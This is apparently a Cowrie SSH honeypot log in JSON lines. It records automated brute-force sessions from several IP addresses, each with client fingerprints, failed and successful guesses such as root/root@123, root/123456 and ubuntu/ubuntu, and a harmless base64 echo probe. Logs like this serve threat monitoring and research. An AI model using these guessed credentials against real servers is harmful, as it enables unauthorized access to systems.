{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:12.477675Z","src_ip":"92.118.39.92","session":"1aadb0fc2566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lotus","password":"admin","message":"login attempt [lotus/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:12.859040Z","src_ip":"92.118.39.92","session":"1aadb0fc2566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:13.965806Z","src_ip":"92.118.39.92","session":"1aadb0fc2566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":47264,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ef69668dc7","protocol":"ssh","message":"New connection: 85.198.97.85:47264 (159.203.135.109:22) [session: e2ef69668dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.186009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.190935Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.319790Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root@123","message":"login attempt [root/root@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.707443Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.993899Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:40.996542Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:41.128189Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:41.133132Z","src_ip":"85.198.97.85","session":"e2ef69668dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33586,"dst_ip":"10.17.0.5","dst_port":22,"session":"56c682dcadcb","protocol":"ssh","message":"New connection: 2.57.122.208:33586 (10.17.0.5:22) [session: 56c682dcadcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:43.131655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:43.161267Z","src_ip":"2.57.122.208","session":"56c682dcadcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:43.285715Z","src_ip":"2.57.122.208","session":"56c682dcadcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:44.069399Z","src_ip":"2.57.122.208","session":"56c682dcadcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:45.312396Z","src_ip":"2.57.122.208","session":"56c682dcadcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50098,"dst_ip":"159.203.135.109","dst_port":22,"session":"011c556e75ac","protocol":"ssh","message":"New connection: 195.178.110.218:50098 (159.203.135.109:22) [session: 011c556e75ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:54.419055Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:54.500356Z","src_ip":"195.178.110.218","session":"011c556e75ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43248,"dst_ip":"10.17.0.5","dst_port":22,"session":"aebaf8d9cc17","protocol":"ssh","message":"New connection: 92.118.39.92:43248 (10.17.0.5:22) [session: aebaf8d9cc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:39:33.900779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:39:33.905309Z","src_ip":"92.118.39.92","session":"aebaf8d9cc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:39:34.012452Z","src_ip":"92.118.39.92","session":"aebaf8d9cc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:39:34.484378Z","src_ip":"92.118.39.92","session":"aebaf8d9cc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:39:35.591273Z","src_ip":"92.118.39.92","session":"aebaf8d9cc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54518,"dst_ip":"10.17.0.5","dst_port":22,"session":"007808b3f35c","protocol":"ssh","message":"New connection: 2.57.122.208:54518 (10.17.0.5:22) [session: 007808b3f35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:09.808910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:09.835166Z","src_ip":"2.57.122.208","session":"007808b3f35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:10.031118Z","src_ip":"2.57.122.208","session":"007808b3f35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:10.768981Z","src_ip":"2.57.122.208","session":"007808b3f35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:11.924412Z","src_ip":"2.57.122.208","session":"007808b3f35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36148,"dst_ip":"159.203.135.109","dst_port":22,"session":"3780547b51ef","protocol":"ssh","message":"New connection: 195.178.110.218:36148 (159.203.135.109:22) [session: 3780547b51ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:47.642037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:47.647346Z","src_ip":"195.178.110.218","session":"3780547b51ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:47.730797Z","src_ip":"195.178.110.218","session":"3780547b51ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:47.975230Z","src_ip":"195.178.110.218","session":"3780547b51ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:40:49.058427Z","src_ip":"195.178.110.218","session":"3780547b51ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59896,"dst_ip":"10.17.0.5","dst_port":22,"session":"040779a1c0c4","protocol":"ssh","message":"New connection: 92.118.39.92:59896 (10.17.0.5:22) [session: 040779a1c0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:41:46.269045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:41:46.273648Z","src_ip":"92.118.39.92","session":"040779a1c0c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:41:46.378327Z","src_ip":"92.118.39.92","session":"040779a1c0c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:41:46.689807Z","src_ip":"92.118.39.92","session":"040779a1c0c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:41:47.799985Z","src_ip":"92.118.39.92","session":"040779a1c0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5272cec75070","protocol":"ssh","message":"New connection: 2.57.122.208:32776 (10.17.0.5:22) [session: 5272cec75070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:42:27.515021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:42:27.649949Z","src_ip":"2.57.122.208","session":"5272cec75070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:42:27.654817Z","src_ip":"2.57.122.208","session":"5272cec75070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:42:28.182688Z","src_ip":"2.57.122.208","session":"5272cec75070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:42:29.350775Z","src_ip":"2.57.122.208","session":"5272cec75070","protocol":"ssh"}
